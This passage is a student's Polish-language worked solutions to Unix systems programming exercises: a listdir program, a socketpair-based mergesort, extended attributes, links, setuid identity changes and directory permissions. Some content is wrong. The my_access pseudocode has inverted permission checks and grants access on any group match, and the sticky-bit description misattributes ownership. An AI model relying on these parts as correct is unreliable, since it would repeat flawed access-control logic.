    off_t     st_size;        /* Total size, in bytes */
    blksize_t st_blksize;     /* Block size for filesystem I/O */
    blkcnt_t  st_blocks;      /* Number of 512B blocks allocated */

    /* Since Linux 2.6, the kernel supports nanosecond
	   precision for the following timestamp fields.
	   For the details before Linux 2.6, see NOTES. */

    struct timespec st_atim;  /* Time of last access */
    struct timespec st_mtim;  /* Time of last modification */
    struct timespec st_ctim;  /* Time of last status change */

#define st_atime st_atim.tv_sec      /* Backward compatibility */
#define st_mtime st_mtim.tv_sec
#define st_ctime st_ctim.tv_sec
};

Faktyczna objętość pliku można obliczyć jako iloczyn st_blocks * 512, co wynika ze stat(2):

st_blocks – This field indicates the number of blocks allocated to the file, in 512-byte units. (This may be smaller than st_size/512 when the file has holes.)

Rozmiar 512 bajtów jest niezmienny i wynika ze względów historycznych, a dokładniej był to standardowy rozmiar jednego sektoru dysku.

W przypadku pliku holes.bin jego rozmiar obliczony powyższym sposobem to 569344 bajtów (ok. 0.5MiB), jednak rzeczywistą wartością jest 33550336 bajtów (ok. 32MiB), a wynikiem działania st_size/512 jest 65528. Różnica między ilością bloków w stat (1112) a wynikiem st_size/512 spowodowana jest dużą ilością dziur w pliku - st_blocks to ilość bloków zaalokowanych do pliku, więc dziury nie są obejmowane.

Wartość stałej st_blksize nie ma tu żadnego znaczenia, gdyż jej przeznaczenie jest całkiem inne, a dokładniej określa ile danych może zostać przeniesionych w jednej operacji dla optymalnych wyników:

st_blksize – This field gives the "preferred" block size for efficient filesystem I/O.

Zadanie 6

Program listdir wypisuje zawartość katalogu w formacie przypominającym wyjście polecenia ls -l. Poniżej można znaleźć przykładowy wydruk, na którym widnieją odpowiednio: plik zwykły, dowiązanie symboliczne, urządzenie znakowe, plik wykonywalny z bitem set-uid, jeden katalog z ustawionym bitem set-gid i drugi z bitem sticky.

-rw-r--r--  1 cahir cahir  2964 Fri Nov 15 14:36:59 2019 listdir.c
lrwxrwxrwx  1 cahir cahir    17 Mon Nov  4 11:14:49 2019 libcsapp -> ../csapp/libcsapp
crw--w----  1 cahir   tty  4, 2 Tue Nov 12 08:42:33 2019 tty2
-rwsr-xr-x  1  root  root 63736 Fri Jul 27 10:07:37 2018 passwd
drwxrwsr-x 10  root staff  4096 Mon Jan  9 13:49:40 2017 local
drwxrwxrwt 23  root  root 12288 Fri Nov 15 16:01:16 2019 tmp

Uzupełnij kod programu według wskazówek zawartych w komentarzach w kodzie źródłowym. Należy użyć:

• fstatat(2) do przeczytania metadanych pliku,
• major(3) i minor(3) do zdekodowania numeru urządzenia,
• readlinkat(2) to przeczytania ścieżki zawartej w dowiązaniu symbolicznym.

Implementacja iterowania zawartości katalogu będzie wymagała zapoznania się ze strukturą linux_dirent opisaną w podręczniku getdents(2). Wywołanie systemowe getdents nie jest eksportowane przez bibliotekę standardową, zatem należało je wywołać pośrednio – zobacz plik libcsapp/Getdents.c.

Numer urządzenia to para liczb major:minor. major identyfikuje sterownik powiązany z urządzeniem, a minor to numer używany przez sterownik (sterownik może kontrolować wiele urządzeń, dzięki czemu minor pozwala je rozróżnić). Aby wypisać wszystkie urządzenia blokowe, można użyć polecenia lsblk, który wyświetli coś takiego:

NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
loop0    7:0    0 355.4M  1 loop /snap/pycharm-community/214
loop1    7:1    0  97.7M  1 loop /snap/core/10126
loop2    7:2    0  97.8M  1 loop /snap/core/10185
loop3    7:3    0 354.6M  1 loop /snap/pycharm-community/211
loop4    7:4    0  52.7M  1 loop /snap/john-the-ripper/297
sda      8:0    0 111.8G  0 disk 
├─sda1   8:1    0   450M  0 part 
├─sda2   8:2    0    99M  0 part 
├─sda3   8:3    0    16M  0 part 
├─sda4   8:4    0 110.5G  0 part 
└─sda5   8:5    0   802M  0 part 
sdb      8:16   0 238.5G  0 disk 
├─sdb1   8:17   0    16M  0 part 
├─sdb2   8:18   0 101.8G  0 part 
├─sdb3   8:19   0   513M  0 part /boot/efi
├─sdb4   8:20   0 120.3G  0 part /
└─sdb5   8:21   0  15.9G  0 part [SWAP]

Aby sprawdzić, czy zadanie jest dobrze rozwiązane, przygotowałem katalog permission_bits zawierający pliki podobne do tych z zadania, są to kolejno executable.py, file1.txt, link, local oraz tmp z ustawionymi odpowiednimi bitami. local oraz tmp to katalogi. Bity zostały ustawione następującymi poleceniami:

$ chmod o+t tmp
$ chmod g+s local
$ chmod u+s executable.py
$ link -s file1.txt link

Wydruk polecenia ls -al jest następujący:

drwxr-xr-x 4 two two 4096 Nov 12 00:58 .
drwxr-xr-x 5 two two 4096 Nov 12 00:50 ..
-rwsr-xr-x 1 two two    0 Nov 12 00:42 executable.py
-rw-r--r-- 1 two two    0 Nov 12 00:36 file1.txt
lrwxrwxrwx 1 two two    9 Nov 12 00:36 link -> file1.txt
drwxr-sr-x 2 two two 4096 Nov 12 00:37 local
drwxr-xr-t 2 two two 4096 Nov 12 00:37 tmp

Wydruk programu listdir jest następujący:

-rwsr-xr-x   1        two        two     0  Thu Nov 12 00:42:00 2020    executable.py
drwxr-sr-x   2        two        two  4096  Thu Nov 12 00:37:48 2020    local
drwxr-xr-t   2        two        two  4096  Thu Nov 12 00:37:48 2020    tmp
drwxr-xr-x   5        two        two  4096  Thu Nov 12 00:50:59 2020    ..
lrwxrwxrwx   1        two        two     9  Thu Nov 12 00:36:51 2020    link -> file1.txt
-rw-r--r--   1        two        two     0  Thu Nov 12 00:36:18 2020    file1.txt
drwxr-xr-x   4        two        two  4096  Thu Nov 12 00:58:04 2020    .

Uzupełniony kod zadania:

#include "csapp.h"

#define DIRBUFSZ 256

static void print_mode(mode_t m) {
    char t;

    if (S_ISDIR(m))
        t = 'd';
    else if (S_ISCHR(m))
        t = 'c';
    else if (S_ISBLK(m))
        t = 'b';
    else if (S_ISREG(m))
        t = '-';
    else if (S_ISFIFO(m))
        t = 'f';
    else if (S_ISLNK(m))
        t = 'l';
    else if (S_ISSOCK(m))
        t = 's';
    else
        t = '?';

    char ur = (m & S_IRUSR) ? 'r' : '-';
    char uw = (m & S_IWUSR) ? 'w' : '-';
    char ux = (m & S_IXUSR) ? 'x' : '-';
    char gr = (m & S_IRGRP) ? 'r' : '-';
    char gw = (m & S_IWGRP) ? 'w' : '-';
    char gx = (m & S_IXGRP) ? 'x' : '-';
    char or = (m & S_IROTH) ? 'r' : '-';
    char ow = (m & S_IWOTH) ? 'w' : '-';
    char ox = (m & S_IXOTH) ? 'x' : '-';

    /* TODO: Fix code to report set-uid/set-gid/sticky bit as 'ls' does. */
    // 'setuid' bit can be identified easily when there is 's' in place of
    // 'x' of the executable bit. The 's' implies that te executable bit is
    // set, otherwise it would be set to 'S'. 'setgid' bit is similar to 
    // 'setuid' bit, but in this case 's' is present in group sector (there
    // are three sectors: owner, group, other, before them there is one bit
    // saying if it is regular file). The 'sticky' bit is meant to forbid
    // modifying files in that directory by users who are not owners. It is
    // identifiable by a 't' in the place of 'x', also 'T' applies that the
    // executable bit is not present.

    // If m has set 'setuid'/'setgid'/'sticky', check if m is executable,
    // then set the bit accordingly, otherwise permissions are not changed.
    ux = (m & S_ISUID) ? ((m & S_IXUSR) ? 's' : 'S') : ux;
    gx = (m & S_ISGID) ? ((m & S_IXGRP) ? 's' : 'S') : gx;
    ox = (m & S_ISVTX) ? ((m & S_IXOTH) ? 't' : 'T') : ox;

    printf("%c%c%c%c%c%c%c%c%c%c", t, ur, uw, ux, gr, gw, gx, or, ow, ox);
}

static void print_uid(uid_t uid) {
    struct passwd *pw = getpwuid(uid);
    if (pw)
        printf(" %10s", pw->pw_name);
    else
        printf(" %10d", uid);
}

static void print_gid(gid_t gid) {
    struct group *gr = getgrgid(gid);
    if (gr)
        printf(" %10s", gr->gr_name);
    else
        printf(" %10d", gid);
}

static void file_info(int dirfd, const char *name) {
    struct stat sb[1];

    /* TODO: Read file metadata. */
    // int fstatat(int dirfd, const char *pathname, 
    //             struct stat *statbuf, int flags);
    // AT_SYMLINK_NOFOLLOW flag means that if pathname (name) is a symbolic
    // link, it should not be dereferenced.
    fstatat(dirfd, name, sb, AT_SYMLINK_NOFOLLOW);

    print_mode(sb->st_mode);
    printf("%4ld", sb->st_nlink);
    print_uid(sb->st_uid);
    print_gid(sb->st_gid);
    
    /* TODO: For devices: print major/minor pair; for other files: size. */
    // Device ID consists of two parts: major ID (class of the device) and
    // minor ID (specific instance of a device in that class).
    // unsigned int major(dev_t dev);
    // unsigned int minor(dev_t dev);
    // S_ISCHR returns non-zero if the file is a character special file
    // (a device like a terminal) and S_ISBLK returns non-zero if the file
    // is a block special file (a device like a disk).
    if (S_ISCHR(sb->st_mode) || S_ISBLK(sb->st_mode))
        printf("%2u, %2u", major(sb->st_rdev), minor(sb->st_rdev));
    else
        printf("%6lu", (size_t)sb->st_size);

    char *now = ctime(&sb->st_mtime);
    now[strlen(now) - 1] = '\0';
    printf("%26s", now);

    printf("    %s", name);

    if (S_ISLNK(sb->st_mode)) {
    /* TODO: Read where symlink points to and print '-> destination' string. */
        const size_t bufsize = 255;
        char path[bufsize + 1];

        // readlinkat(2) places the contents of the symbolic link name in the
        // buffer buf, which has size bufsize, but it does not append null byte
        // to buf, thus we have to do it.
        const ssize_t len = readlinkat(dirfd, name, path, bufsize);
        path[len] = '\0';
        printf(" -> %s", path);
    }

    putchar('\n');
}

int main(int argc, char *argv[]) {
    if (!argv[1])
        argv[1] = ".";

    int dirfd = Open(argv[1], O_RDONLY | O_DIRECTORY, 0);
    char buf[DIRBUFSZ];
    int n;

    while ((n = Getdents(dirfd, (void *)buf, DIRBUFSZ))) {
        struct linux_dirent *d;
        /* TODO: Iterate over directory entries and call file_info on them. */
        // int getdents(unsigned int fd, struct linux_dirent *dirp
        //              unsigned int count);
        // getdents(2) returns directory entries, it reads several linux_dirent
        // structures from the directory reffered to by the open file descriptor
        // fd into the buffer pointed to by dirp. The argument count specifies
        // the size of that buffer.
        const void* end = buf + n;
        void* it = buf;
        while (it < end) {
            d = (struct linux_dirent*)it;
            file_info(dirfd, d->d_name);
            it += d->d_reclen; // d_reclen is length of this linux_dirent
        }
    }

    Close(dirfd);
    return EXIT_SUCCESS;
}

Zadanie 7

Program mergesort odczytuje ze standardowego wejścia liczbę naturalną

$n$, po czym czyta

$n$ liczb całkowitych. Program realizuje algorytm sortowania przez scalanie. Proces główny zajmuje się wczytywaniem danych wejściowych i drukowaniem posortowanego ciągu. Żeby posortować liczby, program uruchamia podproces, który wykonuje procedurę Sort. Rozmawia z nim przy pomocy gniazda domeny uniksowej unix(7), które tworzy z użyciem socketpair(2), czyli lokalnej dwukierunkowej metody komunikacji międzyprocesowej. Jeśli proces sortujący otrzyma od rodzica pojedynczą liczbę, to natychmiast odsyła ją swojemu rodzicowi i kończy działanie. Jeśli dostanie więcej liczb, to startuje odpowiednio lewe i prawe dziecko, po czym za pomocą procedury SendElem przesyła im liczby do posortowania. Następnie wywołuje procedurę Merge, która odbiera od potomków posortowane ciągi, scala je i wysyła do procesu nadrzędnego.

Twoim zadaniem jest uzupełnienie procedury Sort tak by wystartowała procesy potomne i uruchomiła procedury SendElem i Merge. Należy odpowiednio połączyć procesy z użyciem gniazd oraz zamknąć niepotrzebne gniazda w poszczególnych procesach. Posługując się rysunkiem wyjaśnij strukturę programu. Kiedy tworzysz podprocesy i gniazda? Kiedy zamykasz niepotrzebne gniazda? Jak wygląda przepływ danych?

Skrypt gen-nums.py przyjmuje w linii poleceń

$n$, czyli liczbę elementów do wygenerowania. Po uruchomieniu drukuje

$n$ na standardowe wyjście, po czym drukuje

$n$ losowych liczb całkowitych. Produkowane dane są w odpowiednim formacie do wprowadzenia do programu mergesort.

UWAGA! Wszystkie procesy muszą działać w stałej pamięci!

Lokalna dwukierunkowa metoda komunikacji międzyprocesowej to gniazda IPC (ang. inter-process communication sockets), które umożliwiają dwustronną wymianę danych pomiędzy procesami dziłającymi w tym samym systemie, działają podobnie do socketów sieciowych, jednak komunikacja w tym przypadku odbywa się w obrębie jądra systemu.

Przepływ danych między deskryptorami:

                parent
              +------------------+                          
    parent_fd |                  | left.parent_fd       left.child_fd    
        +-----+                  +-----+                    +-----+-------+
 in --> | --> |                  | --> |  -- unsorted LH -> | --> | left  |
        |     |          v------ | <-- |  <-- sorted LH --- | <-- | child |
        |     |     +-------+    +-----+                    +-----+-------+
out <-- | <-- | <-- | merge | <- | <-- |  <-- sorted RH --- | <-- | right |
        +-----+     +-------+    | --> |  -- unsorted RH -> | --> | child |
              |                  +-----+                    +-----+-------+
              |                  | right.parent_fd      right.child_fd
              +------------------+

LH - left_half, RH - right_half

#include "csapp.h"

typedef struct {
    int child_fd;
    int parent_fd;
} sockpair_t;

static sockpair_t MakeSocketPair(void) {
    int sv[2];
    Socketpair(AF_UNIX, SOCK_STREAM, 0, sv);
    return (sockpair_t){.child_fd = sv[0], .parent_fd = sv[1]};
}

static bool MaybeReadNum(int fd, int *num_p) {
    return Read(fd, num_p, sizeof(int)) == sizeof(int);
}

static int ReadNum(int fd) {
    int num;
    if (Read(fd, &num, sizeof(int)) < sizeof(int))
        app_error("ReadNum error");
    return num;
}

static void WriteNum(int fd, int num) {
    if (Write(fd, &num, sizeof(int)) < sizeof(int))
        app_error("WriteNum error");
}

static void SendElem(int parent_fd, int child_fd, int nelem) {
    WriteNum(child_fd, nelem);
    for (int i = 0; i < nelem; i++)
        WriteNum(child_fd, ReadNum(parent_fd));
}

static void Merge(int left_fd, int right_fd, int parent_fd) {
    bool has_left = true;
    bool has_right = true;
    int left = ReadNum(left_fd);
    int right = ReadNum(right_fd);

    do {
        if ((has_left && has_right) ? left < right : has_left) {
            WriteNum(parent_fd, left);
            has_left = MaybeReadNum(left_fd, &left);
        } else {
            WriteNum(parent_fd, right);
            has_right = MaybeReadNum(right_fd, &right);
        }
    } while (has_left || has_right);
}

static void Sort(int parent_fd) {
    int nelem = ReadNum(parent_fd);

    if (nelem < 2) {
        WriteNum(parent_fd, ReadNum(parent_fd));
        Close(parent_fd);
        return;
    }

    sockpair_t left = MakeSocketPair();
    /* TODO: Spawn left child. */
    if (Fork() == 0) {
        // Close file descriptors so we do not write
        // to them when we have more than 2 elements
        // and we sort them [elements].
        Close(left.parent_fd);
        Close(parent_fd);

        Sort(left.child_fd);
        exit(0);
    }
    // After sorting we close fd of the left child.
    Close(left.child_fd);

    sockpair_t right = MakeSocketPair();
    /* TODO: Spawn right child. */
    if (Fork() == 0) {
        // Similarly to left child, we close fd, but
        // in this case we need to close also left,
        // as it might be open.
        Close(left.parent_fd);
        Close(right.parent_fd);
        Close(parent_fd);

        Sort(right.child_fd);
        exit(0);
    }
    // After sorting we close fd of the right child.
    Close(right.child_fd);
    
    /* TODO: Send elements to children and merge returned values afterwards. */
    const int32_t left_half  = nelem / 2;
    const int32_t right_half = nelem - left_half;
    
    // We send elements from parent to child and
    // the number of elements in each half. Then
    // we merge results (from childs' fds) and
    // save them in parent's fd.
    SendElem(parent_fd, left.parent_fd,  left_half);
    SendElem(parent_fd, right.parent_fd, right_half);
    Merge(left.parent_fd, right.parent_fd, parent_fd);

    // At the end we need to close every fd we used,
    // so there are none left open.
    Close(parent_fd);
    Close(left.parent_fd);
    Close(right.parent_fd);

    /* Wait for both children. */
    Wait(NULL);
    Wait(NULL);
}

static int GetNumber(void) {
    char buf[20];
    if (fgets(buf, sizeof(buf), stdin) == NULL)
        app_error("GetNumber error");
    return strtol(buf, NULL, 10);
}

int main(void) {
    sockpair_t sort = MakeSocketPair();

    if (Fork()) {
        /* parent */
        int nelem = GetNumber();
        if (nelem < 2)
            app_error("Number of sorted elements must be at least 2!\n");
        Close(sort.child_fd);

        /* Write unsorted numbers to mergesort */
        WriteNum(sort.parent_fd, nelem);
        for (int i = 0; i < nelem; i++)
            WriteNum(sort.parent_fd, GetNumber());

        /* Read sorted numbers from mergesort */
        int prev = INT_MIN;
        for (int i = 0; i < nelem; i++) {
            int elem = ReadNum(sort.parent_fd);
            fprintf(stderr, "%d\n", elem);
            assert(prev <= elem);
            prev = elem;
        }
        Close(sort.parent_fd);

        Wait(NULL);
    } else {
        /* child */
        Close(sort.parent_fd);
        Sort(sort.child_fd);
    }

    return 0;
}

Zadanie 8

Przeczytaj krytykę kluczowej idei systemu Unix, tj. A Unix File Is Just a Big Bag of Bytes. Na podstawie Resource Fork wyjaśnij czym były dodatkowe zasoby pliku w historycznych systemach MacOS.

Jaką postać mają rozszerzone atrybuty pliku xattr(7)? Pobierz z internetu plik przy pomocy przeglądarki Chrome, a następnie wyświetl jego rozszerzone atrybuty przy pomocy polecenia getfattr(1). Następnie policz sumę md5 wybranego pliku i przypisz ją do atrybutu user.md5sum poleceniem setfattr(1), po czym sprawdź czy operacja się powiodła.

Resource fork to zestaw ustrukturyzowanych danych przechowywanych w data forku lub sekcji pliku. Przechowuje on informacje takie jak ikony, kształty okienek, definicje menu i ich zawartość albo kod aplikacji, np. tekst przechowywany jest w data forku, a obrazki w resource forku.

System plików Macintosh (MFS) realizował trzy główne założenia:

• Służył do przechowywania wszystkich danych graficznych na dysku, dopóki nie były potrzebne, a następnie pobrane, rysowane na ekranie i wyrzucane. Ten wariant oprogramowania pamięci wirtualnej pomógł Apple zmniejszyć wymagania dotyczące pamięci z 1 MB w Apple Lisa do 128 KB w Macintoshu.
• Ponieważ wszystkie obrazy i tekst były przechowywane osobno w forku zasobów, można było go użyć, aby umożliwić nieprogramistom na tłumaczenie aplikacji na rynek zagraniczny, proces ten nazywany jest internacjonalizacją i lokalizacją.
• Można było go wykorzystać do dystrybucji prawie wszystkich komponentów aplikacji w jednym pliku, zmniejszając bałagan i upraszczając instalację i usuwanie aplikacji.

Resource fork ułatwiał przechowywanie informacji potrzebnych systemowi np. do wyświetlenia odpowiedniej ikony dla pliku. Dostęp do nich działał podobnie do wydobywania rekordów z bazy danych, czasem służyły one do przechowywania metadanych.

Rozszerzone atrybuty pliku to rozszerzenia zwykłych atrybutów powiązanych ze wszystkimi inode'ami w systemie, często są używane do zapewnienia dodatkowej funkcjonalności systemu plików, na przykład zwiększenia ochrony poprzez listę kontroli dostępu (ang. Access Control List). Atrybuty te mają postać name:value i powiązane są permamentnie z plikami i katalogami, podobnie do environment strings związanych z procesami. Mogą być one zdefiniowane lub nie, a jeżeli atrybut jest zdefiniowany, to jego wartość może być pusta lub niepusta. Ich nazwy są null-terminated, zawsze podawane z uwzględnieniem całej przestrzeni nazw do której należą, tzn. namespace.attribute. Atrybuty te działają atomowo, getxattr(2) odczytuje całą wartość atrybutu, a setxattr(2) zamienia poprzednią wartość na nową.

Aby odczytać wszystkie atrybuty pliku (włącznie z rozszerzonymi) należy użyć pierwszego polecenia, a aby dodać sumę md5 w postaci name:value, należy skorzystać z drugiego. Flaga -d oznacza dump, tzn. wypisanie wszystkich wartości, -n to name, -v to value. Obliczana suma md5 dla danego pliku jest przekazywana jako wartość zmiennej powstałej w subshellu.

$ getfattr -d [plik]
$ setfattr -n user.md5sum -v $(md5sum [plik]) [plik]

Zadanie 9

Na podstawie slajdów do wykładu wyjaśnij różnice w sposobie implementacji dowiązań twardych (ang. hard link) i symbolicznych (ang. symbolic link). Jak za pomocą dowiązania symbolicznego stworzyć w systemie plików pętlę? Kiedy jądro systemu operacyjnego ją wykryje i zwróci błąd ELOOP? Czemu pętli nie da się zrobić z użyciem dowiązania twardego?

Dowiązanie twarde (ang. hard link) to wskaźnik na i-węzeł pliku, wlicza się do licznika referencji do pliku, a dowiązanie symboliczne (ang. symbolic link) to dowiązanie kodujące ścieżkę, do której należy przekierować algorytm rozwiązywania nazw.

Różnicę między dowiązaniami można przedstawić w taki sposób:

      +--------- inode     symlink
      |            |          |
 hard link         +-- file --+

Aby stworzyć pętlę, należy w dowolnym katalogu stworzyć dowiązanie symboliczne (flaga -s) do katalogu ., a więc tego, w którym się aktualnie znajdujemy, lub do katalogu ../[katalog]:

~/foo$ ln -s . link
~/foo$ ln -s ../foo/ link2

Z podręcznika path_resolution(7) na temat błędu ELOOP dowiadujemy się tyle, że zostaje on zwracany, gdy zostanie przekroczona maksymalna głębokość rekursji (dla symlinków).

Pętli nie można stworzyć za pomocą dowiązania twardego, gdyż struktura danych systemu plików jest skierowanym grafem acyklicznym, a dowiązanie twarde stworzyłoby cykl, co sobie przeczy.

Lista zadań nr 6

Przed rozwiązywaniem zadań warto się zapoznać z podrozdziałami 3.13, 4.4 - 4.5, 8.11 z APUE oraz z rozdziałami 9, 13, 38, 39 z Linux Programming Interface.

Zadanie 1

W każdym z poniższych przypadków zakładamy, że początkowa tożsamość naszego procesu to: ruid=1000, euid=0, suid=0. Jak zmieni się tożsamość procesu po wywołaniu następujących funkcji:

1. setuid(2000),
2. setreuid(-1, 2000),
3. seteuid(2000),
4. setresuid(-1, 2000, 3000).

Odpowiedź uzasadnij posługując się podręcznikami systemowymi setuid(2), setreuid(2), setresuid(2). Czy proces z tożsamością ruid=0, euid=1000, suid=1000 jest uprzywilejowany? Odpowiedź uzasadnij.

Tożsamość procesu to zbiór identyfikatorów użytkowników i grup powiązanych z danym procesem. Real ID definuje kto jest właścicielem procesu. Na większości implementacji UNIXa effective ID jest używane w celu określenia uprawnień procesu przy dostępie do zasobów (takich jak pliki), jednak na Linuxie filesystem IDs są wykorzystywane w tym celu, a effective ID dla innych uprawnień. ID z zadania oznaczają kolejno: ruid - real user ID, euid - effective user ID oraz suid - saved user ID.

Na samym początku tożsamość procesu to ruid=1000, euid=0, suid=0. Kolejne przykłady są od siebie niezależne, więc tożsamość zmienia się tylko raz dla każdej funkcji:

1. setuid(2000) - po tym wywołaniu zostają zmienione wszystkie pola na 2000. Spowodowane jest to tym, że euid jest uprzywilejowane (0 == root), a wtedy zmieniane są też ruid oraz suid. Finalnie mamy ruid=2000, euid=2000, suid=2000.

setuid() sets the effective user ID of the calling process. If the calling process is privileged (more precisely: if the process has the CAP_SETUID capability in its user namespace), the real UID and saved set-user-ID are also set.

2. setreuid(-1, 2000) - funkcja przyjmuje jako argumenty (ruid, euid) typu uid_t i jeżeli dostanie -1 jako któryś z argumentów, to ta wartość pozostanie niezmieniona. Stąd mamy ruid=1000 (niezmienione) oraz euid=2000. Z ostatniego paragrafu mamy, iż po zmianie ruid lub euid, zmienia się równiaż suid na wartość nowego euid. Ostatecznie mamy więc ruid=1000, euid=2000, suid=2000.

setreuid() sets real and effective user IDs of the calling process.

Supplying a value of -1 for either the real or effective user ID forces the system to leave that ID unchanged.

Unprivileged processes may only set the effective user ID to the real user ID, the effective user ID, or the saved set-user-ID.

Unprivileged users may only set the real user ID to the real user ID or the effective user ID.

If the real user ID is set (i.e., ruid is not -1) or the effective user ID is set to a value not equal to the previous real user ID, the saved set-user-ID will be set to the new effective user ID.

3. seteuid(2000) - proces jest uprzywilejowany, więc zmieniane jest euid, a więc tożsamość procesu zmieniana jest na ruid=1000, euid=2000, suid=0.

seteuid() sets the effective user ID of the calling process. Unprivileged processes may only set the effective user ID to the real user ID, the effective user ID or the saved set-user-ID.

4. setresuid(-1, 2000, 3000) - funkcja przyjmuje jako argumenty (ruid, euid, suid), podobnie jak w przypadku setreuid są one typu uid_t i wartość -1 któregoś argumentu oznacza brak zmiany. Proces jest uprzywilejowany, więc zostawiamy ruid (argument -1), pozostałe zmieniamy. Mamy więc: ruid=1000, euid=2000, suid=3000.

setresuid() sets the real user ID, the effective user ID, and the saved set-user-ID of the calling process.

An unprivileged process may change its real UID, effective UID, and saved set-user-ID, each to one of: the current real UID, the current effective UID or the current saved set-user-ID.

A privileged process (on Linux, one having the CAP_SETUID capability) may set its real UID, effective UID, and saved set-user-ID to arbitrary values.

If one of the arguments equals -1, the corresponding value is not changed.

Regardless of what changes are made to the real UID, effective UID, and saved set-user-ID, the filesystem UID is always set to the same value as the (possibly new) effective UID.

Proces z tożsamością ruid=0, euid=1000, suid=1000 nie jest uprzywilejowany, gdyż effective user ID nie jest uprzywilejowany, a więc cały proces też nie jest. Używając system callów możnaby było jednak przywrócić tożsamość tego procesu, aby ponownie był uprzywilejowany.

Zadanie 2

Jaką rolę pełnią bity uprawnień rwx dla katalogów w systemach uniksowych? Opisz znaczenie bitów set-gid i sticky dla katalogów. Napisz w pseudokodzie i zreferuj procedurę bool my_access(struct stat *sb, int mode). Pierwszy i drugi argument opisano odpowiednio w stat(2) i access(2). Dla procesu o tożsamości zadanej przez getuid(2) i getgroups(2) procedura my_access sprawdza czy proces ma upoważniony dostęp mode do pliku o metadanych wczytanych do sb.

Wskazówka: Rozważ uprawnienia katalogu /usr/local i /tmp.

Bity rwx dla katalogów pełnią następującą rolę:

• r (read) pozwala na pozyskanie listy wszystkich plików w katalogu,
• w (write) pozwala na tworzenie, zmienianie nazw oraz kasowanie plików w katalogu, jak i modyfikowanie atrybutów katalogu,
• x (execute) pozwala na przechodzenie po katalogu, gdy jest on w ścieżce, do której chcemy się dostać, tzn. można dzięki temu dostać się do wszystkich plików i katalogów w środku. Czasami ten bit nazywany jest search bit ze względu na swoje działanie.

Dzięki bitowi set-gid w katalogu, wszystkie nowo tworzone pliki i katalogi stają się własnością grupy będącej właścicielem katalogu, zwykle atrybut ten jest dziedziczony przez nowo tworzone podkatalogi.

Bit sticky w katalogu pozwala na usuwanie/zmienianie uprawnień tylko właścicielowi owego katalogu. Bit ten jest stosowany często w /tmp, do którego mogą mieć dostęp wszyscy użytkownicy systemu, przez co użytkownicy nie mogą usuwać plików nienależących do nich.

Pseudokod procedury bool my_access(struct stat *sb, int mode) znajduje się poniżej, jej celem jest sprawdzenie czy proces ma upoważniony dostęp mode do pliku o metadanych wczytanych do sb. Głównie interesować nas będzie wartość st_mode przekazanej struktury sb, gdyż w niej zakodowane są uprawnienia na najmniej znaczących bitach.

#define MAX_GROUPS_NUMBER 1024

bool my_access(struct stat *sb, int mode) {
    // Jeżeli effective user ID to 0, mamy do czynienia
    // z superuserem i przyznajemy od razu dostęp.
    if (geteuid() == 0)
        return true;

    // Jeżeli effective user ID jest takie samo jak ID
    // właściciela procesu, to dostęp jest przyznany jeśli
    // odpowiedni bit dostępu użytkownika jest ustawiony,
    // w przeciwnym wypadku dostęp nie jest przyznawany.
    // Odpowiedni bit oznacza, że jeśli proces otwiera plik
    // do czytania, to user-read musi być ustawiony, podobnie
    // dla write (user-write) i uruchamiania (user-execute).
    if (getuid() == geteuid()) {
        // Porównaj wszystkie flagi, jeśli (mode >= sb) to przyznaj
        // dostęp, w przeciwnym wypadku sprawdzaj dalej warunki.
        int sb_mode = sb->st_mode;

        uint8_t sb_u_read  = (sb_mode & S_IRUSR);
        uint8_t sb_u_write = (sb_mode & S_IWUSR);
        uint8_t sb_u_exec  = (sb_mode & S_IXUSR);

        uint8_t md_u_read  = (mode & R_OK);
        uint8_t md_u_write = (mode & W_OK);
        uint8_t md_u_exec  = (mode & X_OK);

        bool access_flags[3] = {false, false, false};
        // Oznaczenie x <= y w tym wypadku oznacza tyle, że y ma
        // takie same lub większe uprawnienia (np. x nie wymaga
        // uprawnienia czytania, ale y je posiada, więc dostęp
        // w takim przypadku też zostanie przyznany).
        if (sb_u_read  <= md_u_read)  access_flags[0] = true;
        if (sb_u_write <= md_u_write) access_flags[1] = true;
        if (sb_u_exec  <= md_u_exec)  access_flags[2] = true;

        if (access_flags[0] && access_flags[1] && access_flags[2])
            return true;
        else 
            return false;
    }

    // Sprawdzenie, czy jedno z effective group ID lub supplementary
    // group ID jest równe group ID pliku, jeżeli tak, to dostęp
    // jest przyznawany, w przeciwnym przypadku odrzucany.
    gid_t sb_gid = sb->st_gid;
    gid_t *group;
    group = (gid_t *)malloc(MAX_GROUPS_NUMBER * sizeof(gid_t));
    int groups = getgroups(MAX_GROUPS_NUMBER, group);

    for (int i = 0; i < groups; i++)
        if (sb_gid == group[i])
            return true;

    // Jeśli odpowiedni bit dostępu jest ustawiony dla other,
    // dostęp jest przyznany, w przeciwnym wypadku nie. Proces
    // sprawdzania bardzo podobny do tego, co w przypadku drugiego if'a.

    return false; // jak nie przejdą żadne testy, to nie ma dostępu
}

The mode specifies the accessibility check(s) to be performed, and is either the value F_OK, or a mask consisting of the bitwise OR of one or more of R_OK, W_OK, and X_OK. F_OK tests for the existence of the file. R_OK, W_OK, and X_OK test whether the file exists and grants read, write, and execute permissions, respectively.

POSIX refers to the stat.st_mode bits corresponding to the mask S_IFMT (see below) as the file type, the 12 bits corresponding to the mask 07777 as the file mode bits and the least significant 9 bits (0777) as the file permission bits.

Zadanie 3

Właścicielem pliku programu su(1) jest «root», a plik ma ustawiony bit set-uid. Jaką tożsamość będzie miał na początku proces wykonujący su, jeśli przed execve(2) było euid=1000?

Przy pomocy przeglądarki kodu OpenGrok zreferuj działanie uproszczonej wersji programu su. Wypunktuj co robi zakładając, że wszystkie wywołania systemowe kończą się bez błędów, a użytkownik zdołał się uwierzytelnić. Skoncentruj się na funkcjach czytających bazę danych użytkowników, odczytujących i sprawdzających hasło, oraz zmieniających tożsamość procesu.

Początkowa tożsamość procesu to ruid=1000 euid=0 resuid=0.

/* su.c - switch user
 *
 * Copyright 2013 CE Strake <[e-mail]>
 *
 * See http://refspecs.linuxfoundation.org/LSB_4.1.0/LSB-Core-generic/LSB-Core-generic/su.html
 * TODO: log su attempts
 * TODO: suid support
 * Supports undocumented compatibility options: -m synonym for -p, - for -l

USE_SU(NEWTOY(su, "^lmpu:g:c:s:[!lmp]", TOYFLAG_BIN|TOYFLAG_ROOTONLY))

config SU
  bool "su"
  default y
  depends on TOYBOX_SHADOW
  help
    usage: su [-lp] [-u UID] [-g GID,...] [-s SHELL] [-c CMD] [USER [COMMAND...]]

    Switch user, prompting for password of new user when not run as root.

    With one argument, switch to USER and run user's shell from /etc/passwd.
    With no arguments, USER is root. If COMMAND line provided after USER,
